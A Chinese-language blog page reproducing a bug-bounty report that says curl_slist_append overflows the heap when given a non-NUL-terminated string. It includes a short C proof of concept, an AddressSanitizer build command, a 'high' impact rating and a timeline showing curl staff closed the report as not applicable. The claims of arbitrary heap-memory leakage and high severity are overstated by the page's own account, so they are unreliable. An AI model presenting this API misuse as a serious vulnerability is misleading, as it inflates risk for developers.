libcurl堆缓冲区溢出漏洞:curl_slist_append函数因未终止字符串触发

本文详细分析了libcurl中curl_slist_append函数存在的堆缓冲区溢出漏洞,该漏洞由未正确终止的字符串触发,可能导致敏感内存泄露和应用程序崩溃。文章包含复现步骤、影响评估及技术讨论。

堆缓冲区溢出在libcurl curl_slist_append中通过未终止字符串触发

摘要

libcurl的curl_slist_append()函数存在一个易于复现的堆缓冲区溢出漏洞,当传递非NUL终止的字符串时触发。该函数内部调用strdup(),进而无边界检查地调用strlen()——如果输入未NUL终止,将导致越界堆读取。

复现步骤

  • 分配一个缓冲区,例如256字节。
  • 用非零字节填充;不进行NUL终止。
  • 调用curl_slist_append(NULL, buffer);
  • 观察AddressSanitizer报告堆缓冲区溢出。

最小化PoC

1
2
3
4
5
6
7
8
9
#include <curl/curl.h>
#include <stdlib.h>
#include <string.h>
int main() {
  char *buf = malloc(4);
  memcpy(buf, "\xbc\x07\x7a\x02", 4); // 无NUL
  curl_slist_append(NULL, buf); // 💥 堆溢出
  free(buf);
}

编译命令

1
2
clang -fsanitize=address -g poc.c -lcurl -o curl_poc
./curl_poc

影响

  • 机密性:高——可泄露任意堆内存。
  • 可用性:中——易于在畸形输入上导致拒绝服务/崩溃。
  • 完整性:低——仅限于读取,无法写入。

攻击面

任何使用libcurl且未严格验证用户输入NUL终止的代码、绑定或模糊测试工具(考虑Rust、Go、Python等中的FFI)。

为何这仍然重要

  • C合约 ≠ 现代内存安全。
  • 强化构建、模糊测试和语言绑定在现实世界中都可能遇到此崩溃。
  • 仅因为规范说“不要那样做”并不意味着你应该发布在畸形输入上崩溃的API。

要点

如果你想在2025年破坏(或保护)内存,不要信任传统API合约。信任强制执行边界的代码,即使无人监视。

“我们不责怪维护者坚持C的遗留观点。但我们也不仅仅停留在‘不适用’。因为内存不关心意图。它关心边界。”

保持故障, @geeknik

时间线

  • geeknik 提交报告给curl:2025年6月29日,下午5:33 UTC
  • bagder (curl staff) 回复:2025年6月29日,下午5:38 UTC
  • dfandrich (curl staff) 回复:2025年6月29日,下午8:17 UTC
  • bagder (curl staff) 回复:2025年6月29日,下午8:18 UTC
  • geeknik 回复:2025年6月29日,下午9:41 UTC(更新)
  • bagder (curl staff) 回复:2025年6月29日,下午9:51 UTC
  • geeknik 回复:2025年6月30日,上午2:18 UTC
  • dfandrich (curl staff) 回复:2025年6月30日,上午3:00 UTC
  • jimfuller2024 (curl staff) 回复:2025年6月30日,上午5:50 UTC
  • bagder (curl staff) 关闭报告并将状态更改为“不适用”:2025年6月30日,上午6:24 UTC
  • bagder (curl staff) 请求披露此报告:2025年6月30日,上午6:25 UTC
  • geeknik 同意披露此报告:2025年6月30日,上午7:23 UTC
  • 报告已披露:2025年6月30日,上午7:23 UTC

报告详情

  • 报告于:2025年6月29日,下午5:33 UTC
  • 报告者:geeknik
  • 报告给:curl
  • 报告ID:#3229490
  • 严重性:高(7 ~ 8.9)
  • 披露于:2025年6月30日,上午7:23 UTC
  • 弱点:堆溢出
  • CVE ID:无
  • 赏金:隐藏
  • 账户详情:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计